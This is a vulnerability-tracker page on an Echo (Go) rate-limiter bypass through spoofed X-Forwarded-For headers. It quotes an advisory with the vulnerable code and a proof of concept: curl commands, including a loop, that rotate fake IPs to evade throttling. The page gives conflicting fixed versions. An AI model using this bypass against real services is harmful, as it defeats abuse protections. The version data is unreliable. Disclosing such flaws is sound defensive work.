Patch Forecast
Yellow warning
Plan into this sprint.

CVE-2026-118653 · GHSA-246p-cpwv-v3jq

Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration

Risk score
42/100
CVSS
5.3 v3.1
Published
28 Oct 2026

Open in the live forecast Today's forecast

What to know

What it is
When echo.New() is used without explicitly setting Echo#IPExtractor, the RealIP() method falls back to reading the client-supplied X-Forwarded-For (or X-Real-IP) header without any proxy-origin validation. The default RateLimiter() middleware derives its per-client identifier from ctx.RealIP(), so an attacker can rota…
Affected
github.com/labstack/echo/v5 (go) < 5.1.0; github.com/labstack/echo/v4 (go) >= 4.0.0, <= 4.16.2
Fix
Upgrade github.com/labstack/echo/v5 to 5.1.0 or later.
Exploitation
Public proof of concept

Story map

Story map: github.com/labstack/echo/v5THE FLAWSTHE FIXCVE-2026-118653Echo has Rate Limiter Bypassvia Spoofed X-Forwarded-ForHeader in Default ConfigurationCVSS 5.3CVE-2026-118650Echo's middleware.Static:`%2F`-encoded path bypassesroute/group middleware…CVSS 7.5CVE-2026-118263Echo: BodyDump can discardBodyLimit overflow errors forunknown-length requestsCVSS 6.3CVE-2026-118266Echo has CSRF ProtectionBypass via MethodOverrideRewriting POST to Safe…CVSS 5.3Upgrade…5.4.1or later on your release lineWho is exposedgithub.com/labstack/echo/v5(go) < 5.4.0;github.com/labstack/echo/v4(go) < 4.16.0YELLOW · PLAN IT INgithub.com/labstack/echo/v5When middleware.Static ismounted globally(e.Use(middleware.Static(...)))and an application relies on aroute- or group-levelmiddleware guard to restrict apath that also falls under the…Where it standsPublic proof of conceptCONNECTS TOSame weaknessCWE-290 (CWE-290)62 other warnings in 30 days →
Story map: the flaws, the fix, how it unfolded and what it connects to. Boxes link to the record or article.

At a glance

github.com/labstack/echo/v5: Yellow, plan it in. When middleware.Static is mounted globally (e.Use(middleware.Static(...))) and an application relies on a route- or group-level middleware guard to restrict a path that also falls under the served static root, a %2F-encoded request bypasses that guard while the file is still served. This is the same encoding/decoding …

The flaws

  • CVE-2026-118653: Echo has Rate Limiter Bypass via Spoofed X-Forwarded-For Header in Default Configuration (CVSS 5.3)
  • CVE-2026-118650: Echo's middleware.Static: `%2F`-encoded path bypasses route/group middleware guarding a statically-served path (CVSS 7.5)
  • CVE-2026-118263: Echo: BodyDump can discard BodyLimit overflow errors for unknown-length requests (CVSS 6.3)
  • CVE-2026-118266: Echo has CSRF Protection Bypass via MethodOverride Rewriting POST to Safe Method (CVSS 5.3)

The fix

Upgrade github.com/labstack/echo/v5: 5.4.1 or later on your release line

Who is exposed: github.com/labstack/echo/v5 (go) < 5.4.0; github.com/labstack/echo/v4 (go) < 4.16.0

Where it stands

  • Public proof of concept

Connects to

Why it is Yellow

  • CVSS 5.3 medium
  • Public exploit or proof of concept referenced
  • On your watchlist: Go

Affected packages

PackageEcosystemVulnerableFixed in
github.com/labstack/echo/v5go< 5.1.05.1.0
github.com/labstack/echo/v4go>= 4.0.0, <= 4.16.2No fix yet

References

Original description

## Summary When `echo.New()` is used without explicitly setting `Echo#IPExtractor`, the `RealIP()` method falls back to reading the client-supplied `X-Forwarded-For` (or `X-Real-IP`) header without any proxy-origin validation. The default `RateLimiter()` middleware derives its per-client identifier from `ctx.RealIP()`, so an attacker can rotate arbitrary values in the `X-Forwarded-For` header on each request to obtain a fresh rate-limit bucket and bypass IP-based throttling entirely. ## Affected Component - `context.go` — `(*Context).RealIP()` (lines 186–208), legacy fallback branch (lines 190–200) - `middleware/rate_limiter.go` — `DefaultRateLimiterConfig.IdentifierExtractor` (lines 46–58); `RateLimiter()` (lines 71–76) - `echo.go` — `New()` (lines 326–343), `IPExtractor` left `nil` by default ## Description ### `RealIP()` unconditionally trusts `X-Forwarded-For` when `IPExtractor` is unset `Context.RealIP()` (`context.go:186-208`) first checks `c.echo.IPExtractor`. When this field is `nil` (the default for `echo.New()`), it falls through to legacy behavior and returns the **first IP** from the `X-Forwarded-For` header — the position an attacker has full control over: ```go // context.go:186-200 func (c *Context) RealIP() string { if c.echo != nil && c.echo.IPExtractor != nil { return c.echo.IPExtractor(c.request) } // Fall back to legacy behavior if ip := c.request.Header.Get(HeaderXForwardedFor); ip != "" { i := strings.IndexAny(ip, ",") if i > 0 { xffip := strings.TrimSpace(ip[:i]) xffip = strings.TrimPrefix(xffip, "[") xffip = strings.TrimSuffix(xffip, "]") return xffip // ← attacker-controlled first IP } return ip } if ip := c.request.Header.Get(HeaderXRealIP); ip != "" { ... return ip // ← also attacker-controlled } ra, _, _ := net.SplitHostPort(c.request.RemoteAddr) return ra } ``` ### Rate limiter default identifier extractor calls `RealIP()` unconditionally `DefaultRateLimiterConfig` (`rate_limiter.go:46-58`) sets the identifier extractor to `ctx.RealIP()` with no guard for whether a safe `IPExtractor` is configured: ```go // rate_limiter.go:46-58 var DefaultRateLimiterConfig = RateLimiterConfig{ Skipper: DefaultSkipper, IdentifierExtractor: func(ctx *echo.Context) (string, error) { id := ctx.RealIP() // ← reads attacker-controlled header return id, nil }, ... } ``` `RateLimiter(store)` (`rate_limiter.go:71-76`) copies `DefaultRateLimiterConfig` directly: ```go // rate_limiter.go:71-76 func RateLimiter(store RateLimiterStore) echo.MiddlewareFunc { config := DefaultRateLimiterConfig config.Store = store return RateLimiterWithConfig(config) } ``` The result is that the most common usage pattern — `e.GET("/path", h, middleware.RateLimiter(store))` — produces a rate limiter whose per-client identifier is fully controlled by the requester. ### Framework acknowledges the issue for IP extraction but the rate limiter carries no warning `ip.go:27` explicitly states the default is insecure: > "Note: if you don't set `Echo#IPExtractor` explicitly, Echo fallback to legacy behavior, which is not a good choice." And `ip.go:117-119`: > "In default behavior, Echo sees all of first XFF header, X-Real-IP header and IP from network layer. As you might already notice, after reading this article, this is not good. Sole reason this is default is just backward compatibility." The `IPExtractor` mechanism (`ExtractIPDirect()`, `ExtractIPFromXFFHeader()`, `ExtractIPFromRealIPHeader()`) in `ip.go` exists precisely to close this gap. However, the `RateLimiter()` function and `DefaultRateLimiterConfig` have **no corresponding warning** and make no attempt to detect or flag that `IPExtractor` is unset, leaving operators who follow the standard rate limiter example silently exposed. The test `TestRateLimiterWithConfig_defaultConfig` (`rate_limiter_test.go:181-226`) itself drives the rate limiter by setting `X-Real-IP` directly on the test request — demonstrating that the identifier is freely injectable without comment or mitigation. ### Full execution chain 1. Server starts with `echo.New()` (no `IPExtractor` set) and `e.GET("/limited", h, middleware.RateLimiter(store))` 2. Attacker sends `GET /limited` with header `X-Forwarded-For: 1.2.3.4` — rate bucket for `1.2.3.4` consumed 3. Attacker sends `GET /limited` again with `X-Forwarded-For: 1.2.3.4` — second token consumed; if burst is 1, next request would be 429 4. Attacker sends `GET /limited` with `X-Forwarded-For: 5.6.7.8` — **new bucket created** for `5.6.7.8`, 200 OK returned 5. Attacker repeats step 4 with arbitrary IPs — rate limit never triggers; unlimited requests served ## Proof of Concept ```go package main import ( "net/http" echo "github.com/labstack/echo/v5" "github.com/labstack/echo/v5/middleware" ) func main() { e := echo.New() // NOTE: IPExtractor deliberately NOT set — this is the default store := middleware.NewRateLimiterMemoryStore(1) e.GET("/limited", func(c *echo.Context) error { return c.String(http.StatusOK, "ok") }, middleware.RateLimiter(store)) e.Logger.Fatal(e.Start(":1324")) } ``` ```bash # First request with IP 1.1.1.1 — consumes burst token curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited # HTTP/1.1 200 OK # Second request with same IP — rate limited curl -i -H 'X-Forwarded-For: 1.1.1.1' http://127.0.0.1:1324/limited # HTTP/1.1 429 Too Many Requests # Third request with DIFFERENT spoofed IP — bypass: new bucket, 200 OK curl -i -H 'X-Forwarded-For: 2.2.2.2' http://127.0.0.1:1324/limited # HTTP/1.1 200 OK # Repeat indefinitely with rotating IPs — rate limit never triggers for i in $(seq 1 100); do curl -s -o /dev/null -w "%{http_code}\n" -H "X-Forwarded-For: 10.0.0.$i" http://127.0.0.1:1324/limited done # 200 200 200 ... (all 200, never 429) `

Last activity 28 Oct 2026. Patch Forecast updates every hour.